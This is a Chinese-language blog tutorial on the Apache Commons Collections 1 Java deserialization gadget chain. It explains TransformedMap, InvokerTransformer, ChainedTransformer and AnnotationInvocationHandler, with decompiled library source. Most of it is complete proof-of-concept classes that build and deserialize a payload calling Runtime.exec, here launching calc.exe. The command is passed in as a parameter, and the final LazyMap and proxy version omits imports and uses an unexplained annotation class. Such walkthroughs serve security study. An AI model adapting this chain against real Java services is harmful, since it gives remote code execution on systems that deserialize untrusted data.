目录

java反序列化链学习Common-Collections-1

java反序列化链学习——Common Collections 1

Common Collections 介绍

Apache Commons 是对 JDK 的拓展,包含了很多开源的⼯具,⽤于解决平时编程经常会遇到的问题。Apache Commons 当中有⼀个组件叫做 Apache Commons Collections,封装了 Java 的 Collection 相关类对象。cc链的利⽤就是以Apache Commons Collections作为链条的核⼼,来构造⼀个最终能够进⾏rce的gadget。

核心demo

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;

public class first {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec", new Class[]{String.class},
                        new Object[]{"C:\\Windows\\System32\\calc.exe"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        outerMap.put("test", "xxxx");
    }
}

https://i-blog.csdnimg.cn/direct/dbb7d58cbe144daeb29d25d5d448e872.png

TransformedMap

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package org.apache.commons.collections.map;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.util.Iterator;
import java.util.Map;
import org.apache.commons.collections.Transformer;

public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable {
    private static final long serialVersionUID = 7023152376788900464L;
    protected final Transformer keyTransformer;
    protected final Transformer valueTransformer;

    public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }

    public static Map decorateTransform(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        TransformedMap decorated = new TransformedMap(map, keyTransformer, valueTransformer);
        if (map.size() > 0) {
            Map transformed = decorated.transformMap(map);
            decorated.clear();
            decorated.getMap().putAll(transformed);
        }

        return decorated;
    }

    protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        super(map);
        this.keyTransformer = keyTransformer;
        this.valueTransformer = valueTransformer;
    }

    private void writeObject(ObjectOutputStream out) throws IOException {
        out.defaultWriteObject();
        out.writeObject(this.map);
    }

    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
        in.defaultReadObject();
        this.map = (Map)in.readObject();
    }

    protected Object transformKey(Object object) {
        return this.keyTransformer == null ? object : this.keyTransformer.transform(object);
    }

    protected Object transformValue(Object object) {
        return this.valueTransformer == null ? object : this.valueTransformer.transform(object);
    }

    protected Map transformMap(Map map) {
        if (map.isEmpty()) {
            return map;
        } else {
            Map result = new LinkedMap(map.size());
            Iterator it = map.entrySet().iterator();

            while(it.hasNext()) {
                Map.Entry entry = (Map.Entry)it.next();
                result.put(this.transformKey(entry.getKey()), this.transformValue(entry.getValue()));
            }

            return result;
        }
    }

    protected Object checkSetValue(Object value) {
        return this.valueTransformer.transform(value);
    }

    protected boolean isSetValueChecking() {
        return this.valueTransformer != null;
    }

    public Object put(Object key, Object value) {
        key = this.transformKey(key);
        value = this.transformValue(value);
        return this.getMap().put(key, value);
    }

    public void putAll(Map mapToCopy) {
        mapToCopy = this.transformMap(mapToCopy);
        this.getMap().putAll(mapToCopy);
    }
}

当我们调用transformedMap.put时
    public Object put(Object key, Object value) {
        key = this.transformKey(key);
        value = this.transformValue(value);
        return this.getMap().put(key, value);
    }
对于进map的新元素(key,value)会利keyTransformer对key进处理并且利
valueTransformer对value进处理继续跟一下这两个方法
    protected Object transformKey(Object object) {
        return this.keyTransformer == null ? object : this.keyTransformer.transform(object);
    }

    protected Object transformValue(Object object) {
        return this.valueTransformer == null ? object : this.valueTransformer.transform(object);
    }

最终会调用Transformer对象中的.transform方法

Transformer

Transformer是⼀个接⼝,它只有⼀个待实现的⽅法:

TransformedMap在转换Map的新元素时,就会调⽤Transformer对象的transform⽅法,这个过程就类似在调⽤⼀个“回调参数”。那么,Transformer只是⼀个接⼝,必然要有实现该接⼝的类,我们用到的个类:ConstantTransformer、InvokerTransformer 、ChainedTransformer

ConstantTransformer

先看看代码

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package org.apache.commons.collections.functors;

import java.io.Serializable;
import org.apache.commons.collections.Transformer;

public class ConstantTransformer implements Transformer, Serializable {
    private static final long serialVersionUID = 6374440726369055124L;
    public static final Transformer NULL_INSTANCE = new ConstantTransformer((Object)null);
    private final Object iConstant;

    public static Transformer getInstance(Object constantToReturn) {
        return (Transformer)(constantToReturn == null ? NULL_INSTANCE : new ConstantTransformer(constantToReturn));
    }

    public ConstantTransformer(Object constantToReturn) {
        this.iConstant = constantToReturn;
    }

    public Object transform(Object input) {
        return this.iConstant;
    }

    public Object getConstant() {
        return this.iConstant;
    }
}

它的过程就是在构造函数的时候传⼊⼀个对象,并在transform⽅法将这个对象再返回。

InvokerTransformer

代码:

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package org.apache.commons.collections.functors;

import java.io.Serializable;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import org.apache.commons.collections.FunctorException;
import org.apache.commons.collections.Transformer;

public class InvokerTransformer implements Transformer, Serializable {
    private static final long serialVersionUID = -8653385846894047688L;
    private final String iMethodName;
    private final Class[] iParamTypes;
    private final Object[] iArgs;

    public static Transformer getInstance(String methodName) {
        if (methodName == null) {
            throw new IllegalArgumentException("The method to invoke must not be null");
        } else {
            return new InvokerTransformer(methodName);
        }
    }

    public static Transformer getInstance(String methodName, Class[] paramTypes, Object[] args) {
        if (methodName == null) {
            throw new IllegalArgumentException("The method to invoke must not be null");
        } else if (paramTypes == null && args != null || paramTypes != null && args == null || paramTypes != null && args != null && paramTypes.length != args.length) {
            throw new IllegalArgumentException("The parameter types must match the arguments");
        } else if (paramTypes != null && paramTypes.length != 0) {
            paramTypes = (Class[])((Class[])paramTypes.clone());
            args = (Object[])((Object[])args.clone());
            return new InvokerTransformer(methodName, paramTypes, args);
        } else {
            return new InvokerTransformer(methodName);
        }
    }

    private InvokerTransformer(String methodName) {
        this.iMethodName = methodName;
        this.iParamTypes = null;
        this.iArgs = null;
    }

    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        this.iMethodName = methodName;
        this.iParamTypes = paramTypes;
        this.iArgs = args;
    }

    public Object transform(Object input) {
        if (input == null) {
            return null;
        } else {
            try {
                Class cls = input.getClass();
                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                return method.invoke(input, this.iArgs);
            } catch (NoSuchMethodException var4) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
            } catch (IllegalAccessException var5) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
            } catch (InvocationTargetException var6) {
                InvocationTargetException ex = var6;
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
            }
        }
    }
}

这个类的transform方法可以执行任意方法,第一个参数是方法名,第二个参数是参数列表的参数类型,第三个参数是传给这个函数的参数列表使用下面这几行代码,通过反射的方式来执行任意代码,达到rce的目的

Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);

ChainedTransformer

它的作⽤是将内部的多个Transformer串在⼀起。

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package org.apache.commons.collections.functors;

import java.io.Serializable;
import java.util.Collection;
import java.util.Iterator;
import org.apache.commons.collections.Transformer;

public class ChainedTransformer implements Transformer, Serializable {
    private static final long serialVersionUID = 3514945074733160196L;
    private final Transformer[] iTransformers;

    public static Transformer getInstance(Transformer[] transformers) {
        FunctorUtils.validate(transformers);
        if (transformers.length == 0) {
            return NOPTransformer.INSTANCE;
        } else {
            transformers = FunctorUtils.copy(transformers);
            return new ChainedTransformer(transformers);
        }
    }

    public static Transformer getInstance(Collection transformers) {
        if (transformers == null) {
            throw new IllegalArgumentException("Transformer collection must not be null");
        } else if (transformers.size() == 0) {
            return NOPTransformer.INSTANCE;
        } else {
            Transformer[] cmds = new Transformer[transformers.size()];
            int i = 0;

            for(Iterator it = transformers.iterator(); it.hasNext(); cmds[i++] = (Transformer)it.next()) {
            }

            FunctorUtils.validate(cmds);
            return new ChainedTransformer(cmds);
        }
    }

    public static Transformer getInstance(Transformer transformer1, Transformer transformer2) {
        if (transformer1 != null && transformer2 != null) {
            Transformer[] transformers = new Transformer[]{transformer1, transformer2};
            return new ChainedTransformer(transformers);
        } else {
            throw new IllegalArgumentException("Transformers must not be null");
        }
    }

    public ChainedTransformer(Transformer[] transformers) {
        this.iTransformers = transformers;
    }

    public Object transform(Object object) {
        for(int i = 0; i < this.iTransformers.length; ++i) {
            object = this.iTransformers[i].transform(object);
        }

        return object;
    }

    public Transformer[] getTransformers() {
        return this.iTransformers;
    }
}

我们看到它的初始化输⼊是⼀个Transformer数组,然后通过循环调⽤的⽅式来讲所有的Transformer都执⾏了⼀遍,并且每⼀个Transformer的输⼊是上⼀个Transformer执⾏了transform⽅法的结果。实现链式调用。

对demo的理解

我们创建了一个ChainedTransformer,它是一个链式调用,当被调用时,会按顺序执行两个Transformer:先调用ConstantTransformer,返回了一个Runtime对象,然后这个对象被当作参数,传入InvokerTransformer的transformer方法,用来执行Runtime的exec方法,参数是计算器的地址,实现rce

现在只是创建了一个Transformer,并没有被调用,我们需要将Transformer绑定到TransformerMap,并且执行put(被添加新元素)时才会被调用。

Demo1

上方demo中我们手动给TransformerMap添加元素,但现实场景中没人帮我们执行该操作,我们需要找一个类,它的readObject方法中存在给Map增加新元素的操作这个类就是:sun.reflect.annotation.AnnotationInvocationHandler,这是⼀个java的原⽣类它的构造函数:

AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
    this.type = type;
    this.memberValues = memberValues;
}
readObject
private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
    s.defaultReadObject();

    // Check to make sure that types have not evolved incompatibly
    AnnotationType annotationType = null;
    try {
        annotationType = AnnotationType.getInstance(type);
    } catch (IllegalArgumentException e) {
        // Class is no longer an annotation type; all bets are off
        return;
    }

    // 获取注解成员类型
    Map<String, Class<?>> memberTypes = annotationType.memberTypes();

    // 遍历 memberValues 并检查类型是否匹配
    for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
        String name = memberValue.getKey();
        Class<?> memberType = memberTypes.get(name);

        if (memberType != null) { // 如果成员仍然存在
            Object value = memberValue.getValue();

            // 检查值是否为成员类型或其异常代理
            if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) {
                // 触发类型不匹配异常代理
                memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                                value.getClass() + "[" + value + "]"
                        ).setMember(
                                annotationType.members().get(name)
                        )
                );
            }
        }
    }
}

我们只要将memberValues设置成我们构造的TransformerMap对象,然后会触发memberValue.setValue,进而触发我们构造的Transformer

sun.reflect.annotation.AnnotationInvocationHandler对象是一个内部类,我们没办法直接New出来,可以使用反射的方式

garget1:

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class CommonCollections11 {
    public static void main(String[] args) throws Exception {
        // FileOutputStream fout = new FileOutputStream("user.bin");
        // fout.write(serializeData);
        // fout.close();

        byte[] evilData = serialize(cc1("C:\\Windows\\System32\\calc.exe"));
        unserialize(evilData);
    }

    // 将对象序列化成字节流
    public static byte[] serialize(final Object obj) throws Exception {
        ByteArrayOutputStream btout = new ByteArrayOutputStream();
        ObjectOutputStream objOut = new ObjectOutputStream(btout);
        objOut.writeObject(obj);
        return btout.toByteArray();
    }

    // 将字节流反序列化成对象
    public static Object unserialize(final byte[] serialized) throws Exception {
        ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
        ObjectInputStream objIn = new ObjectInputStream(btin);
        return objIn.readObject();
    }

    static Object cc1(String args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.getRuntime()), // 这一步会在序列化前生成一个Runtime对象
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{args})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); // 拿到类的句柄
        Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class); // 拿到类的构造方法
        constructor.setAccessible(true); // 去掉Java语法安全检查
        Object obj = constructor.newInstance(Retention.class, outerMap); // 创建一个AnnotationInvocationHandler对象

        return obj;
    }
}

它在编译的时候发生错误

https://i-blog.csdnimg.cn/direct/173158637fec4449bab5a0f212385d76.png

Demo2

出现错误是因为,java.lang.Runtime⽆法序列化

Java中不是所有对象都⽀持序列化,待序列化的对象和所有它使⽤的内部属性对象,必须都

实现了 java.io.Serializable 接⼝。⽽我们最早传给ConstantTransformer的 是

Runtime.getRuntime() ,Runtime类是没有实现 java.io.Serializable 接⼝的,所以不允许被序

列化。

还是通过反射的方式来解决

Method f = Runtime.class.getMethod("getRuntime");
Runtime r = (Runtime) f.invoke(null);
r.exec("C:\\Windows\\System32\\calc.exe");

先通过Runtime.class构造出⼀个Runtime的对象(对象类型为Class),然后执⾏该对象的getMethod⽅法,参数是"getRuntime",这样就会得到⼀个反射的Method对象。

然后执⾏这个Runtime对象的Invoke⽅法,这样就会在运⾏时得到⼀个java.lang.Runtime对象(序列化时没有),最终执⾏exec⽅法,参数是要rce执⾏的命令。

然后,我们构造出⼀个新的poc

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class CommonCollections12 {
    public static void main(String[] args) throws Exception {
        byte[] evilData = serialize(cc1("C:\\Windows\\System32\\calc.exe"));
        unserialize(evilData);
    }

    // 将对象序列化成字节流
    public static byte[] serialize(final Object obj) throws Exception {
        ByteArrayOutputStream btout = new ByteArrayOutputStream();
        ObjectOutputStream objOut = new ObjectOutputStream(btout);
        objOut.writeObject(obj);
        return btout.toByteArray();
    }

    // 将字节流反序列化成对象
    public static Object unserialize(final byte[] serialized) throws Exception {
        ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
        ObjectInputStream objIn = new ObjectInputStream(btin);
        return objIn.readObject();
    }

    static Object cc1(String args) throws Exception {
        // 构造 Transformer 链
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer(
                        "getMethod",
                        new Class[]{String.class, Class[].class},
                        new Object[]{"getRuntime", new Class[0]}
                ),
                new InvokerTransformer(
                        "invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, new Object[0]}
                ),
                new InvokerTransformer(
                        "exec",
                        new Class[]{String.class},
                        new Object[]{args}
                )
        };
        Transformer transformerChain = new ChainedTransformer(transformers);

        // 使用 TransformedMap 装饰器绑定转换链
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

        // 反射构造 AnnotationInvocationHandler 对象
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true); // 绕过访问检查
        return constructor.newInstance(Retention.class, outerMap);
    }
}

编译没问题,但是没有弹计算机

Demo3

AnnotationInvocationHandler的代码

private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    s.defaultReadObject();
    // Check to make sure that types have not evolved incompatibly
    AnnotationType annotationType = null;
    try {
        annotationType = AnnotationType.getInstance(type);
    } catch (IllegalArgumentException e) {
        // Class is no longer an annotation type; all bets are off
        return;
    }
    Map<String, Class<?>> memberTypes = annotationType.memberTypes();
    for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { // memberValue来自于memberValues的遍历迭代
        String name = memberValue.getKey();
        Class<?> memberType = memberTypes.get(name);
        if (memberType != null) { // i.e. member still exists
            Object value = memberValue.getValue();
            if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) {
                memberValue.setValue( // 目的是触发这里
                    new AnnotationTypeMismatchExceptionProxy(
                        value.getClass() + "[" + value + "]"
                    ).setMember(annotationType.members().get(name))
                );
            }
        }
    }
}

如果memberValues是⼀个空的map,那么这个for的遍历就不会执⾏,所以我们需

要预先给Map进⾏值的插⼊。

String name = memberValue.getKey(); //Map可控,所以key可控
Class<?> memberType = memberTypes.get(name); 
if (memberType != null) { //!要求在memberType中也有这个key
...
}
memberTypes
AnnotationType annotationType = null;
try {
    annotationType = AnnotationType.getInstance(type);
} catch (IllegalArgumentException e) {
    // Class is no longer an annotation type; all bets are off
    return;
}

Map<String, Class<?>> memberTypes = annotationType.memberTypes();

public class AnnotationType {
    /*
    ...
    ...
    ...
    */
    public static synchronized AnnotationType getInstance(
        Class<? extends Annotation> annotationClass) {
        AnnotationType result = sun.misc.SharedSecrets.getJavaLangAccess()
            .getAnnotationType(annotationClass);
        if (result == null)
            result = new AnnotationType(annotationClass);
        return result;
    }

    private AnnotationType(final Class<? extends Annotation> annotationClass) {
        if (!annotationClass.isAnnotation())
            throw new IllegalArgumentException("Not an annotation type");

        Method[] methods = AccessController.doPrivileged(new PrivilegedAction<Method[]>() {
            public Method[] run() {
                // Initialize memberTypes and defaultValues
                return annotationClass.getDeclaredMethods();
            }
        });

        for (Method method : methods) {
            if (method.getParameterTypes().length != 0)
                throw new IllegalArgumentException(method + " has params");
            String name = method.getName();
            Class<?> type = method.getReturnType();
            memberTypes.put(name, invocationHandlerReturnType(type));
            members.put(name, method);
        Method[] methods = AccessController.doPrivileged(new PrivilegedAction<Method[]>() {
            public Method[] run() {
                // Initialize memberTypes and defaultValues
                return annotationClass.getDeclaredMethods();
            }
        });

        for (Method method : methods) {
            if (method.getParameterTypes().length != 0)
                throw new IllegalArgumentException(method + " has params");
            String name = method.getName();
            Class<?> type = method.getReturnType();
            memberTypes.put(name, invocationHandlerReturnType(type));
            members.put(name, method);
            Object defaultValue = method.getDefaultValue();
            if (defaultValue != null)
                memberDefaults.put(name, defaultValue);

            members.put(name, method);
        }

        sun.misc.SharedSecrets.getJavaLangAccess()
            .setAnnotationType(annotationClass, this);
        if (annotationClass != Retention.class && annotationClass != Inherited.class) {
            Retention ret = annotationClass.getAnnotation(Retention.class);
            retention = (ret == null ? RetentionPolicy.CLASS : ret.value());
            inherited = annotationClass.isAnnotationPresent(Inherited.class);
        }
    }
}

就是检查输⼊的参数,是不是⼀个注解类,如果不是就会报错。

所以我们这⾥要求第⼀个参数必须是⼀个注解类。

annotationClass.isAnnotation()

这⾥会通过反射的⽅式,获取该注解类所有的⽅法

然后再将所有的⽅法名塞给memberTypes这个Map

⽽我们这⾥要获取的就是memberTypes

        Method[] methods = AccessController.doPrivileged(new PrivilegedAction<Method[]>() {
            public Method[] run() {
                // Initialize memberTypes and defaultValues
                return annotationClass.getDeclaredMethods();
            }
        });

        for (Method method : methods) {
            if (method.getParameterTypes().length != 0)
                throw new IllegalArgumentException(method + " has params");
            String name = method.getName();
            Class<?> type = method.getReturnType();
            memberTypes.put(name, invocationHandlerReturnType(type));
            members.put(name, method);

对于sun.reflect.annotation.AnnotationInvocationHandler这个类的构造函数,我们需要找到⼀个参数type,它必须满⾜

1.是⼀个类对象
2.该类是⼀个注解类
3.该类⾄少存在⼀个⽅法

最终我们找到了Retention类,他是⼀个注解类,他有⼀个⽅法,叫做value.

Demo3:

这个版本可以弹计算器

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class CommonCollections13 {
    public static void main(String[] args) throws Exception {
        // FileOutputStream fout = new FileOutputStream("user.bin");
        // fout.write(serializeData);
        // fout.close();

        byte[] evilData = serialize(cc1("C:\\Windows\\System32\\calc.exe"));
        unserialize(evilData);
    }

    // 将对象序列化成字节流
    public static byte[] serialize(final Object obj) throws Exception {
        ByteArrayOutputStream btout = new ByteArrayOutputStream();
        ObjectOutputStream objOut = new ObjectOutputStream(btout);
        objOut.writeObject(obj);
        return btout.toByteArray();
    }

    // 将字节流反序列化成对象
    public static Object unserialize(final byte[] serialized) throws Exception {
        ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
        ObjectInputStream objIn = new ObjectInputStream(btin);
        return objIn.readObject();
    }

    static Object cc1(String args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{args})
        };

        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        innerMap.put("value", "XXXXXXX");
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); // 拿到类的句柄
        Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class); // 拿到类的构造方法
        constructor.setAccessible(true); // 去掉 Java 语法安全检查
        Object obj = constructor.newInstance(Retention.class, outerMap); // 创建一个 AnnotationInvocationHandler 对象
        return obj;
    }
}

Demo4

ysoserial⾥⾯的cc1链,没有使用TransforMap,而是使用了LazyMap,LazyMap在添加元素的时候不会执⾏transform的逻辑,⽽是在get的时候,有⼀个transform的动作。

在invoke⽅法⾥⾯,是有get的,如何从readObject跳到invoke呢?ysoserial的作者想到的是利⽤java的对象代理。

在java中,如果我们调⽤了别⼈的sdk,⼜觉得别⼈的sdk⾥⾯的某个代码写得不好,java不建

议直接修改sdk代码,⽽是提供了⼀种叫做代理的设计模式。

最终garget:

public class CommonCollections1 {
    public static void main(String[] args) throws Exception {
        // FileOutputStream fout = new FileOutputStream("user.bin");
        // fout.write(serializeData);
        // fout.close();

        byte[] evilData = serialize(cc1("C:\\\\Windows\\\\System32\\\\calc.exe"));
        unserialize(evilData);
    }

    // 将对象序列化成字节流
    public static byte[] serialize(final Object obj) throws Exception {
        ByteArrayOutputStream btout = new ByteArrayOutputStream();
        ObjectOutputStream objOut = new ObjectOutputStream(btout);
        objOut.writeObject(obj);
        return btout.toByteArray();
    }

    // 将字节流反序列化成对象
    public static Object unserialize(final byte[] serialized) throws Exception {
        ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
        ObjectInputStream objIn = new ObjectInputStream(btin);
        return objIn.readObject();
    }

    static Object cc1(String args) throws Exception {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { args })
        };

        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        innerMap.put("hidden", "fuckdada");
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);

        InvocationHandler handler = (InvocationHandler) constructor.newInstance(Probe.class, outerMap);
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] { Map.class }, handler);

        Object obj = constructor.newInstance(Probe.class, proxyMap);
        return obj;
    }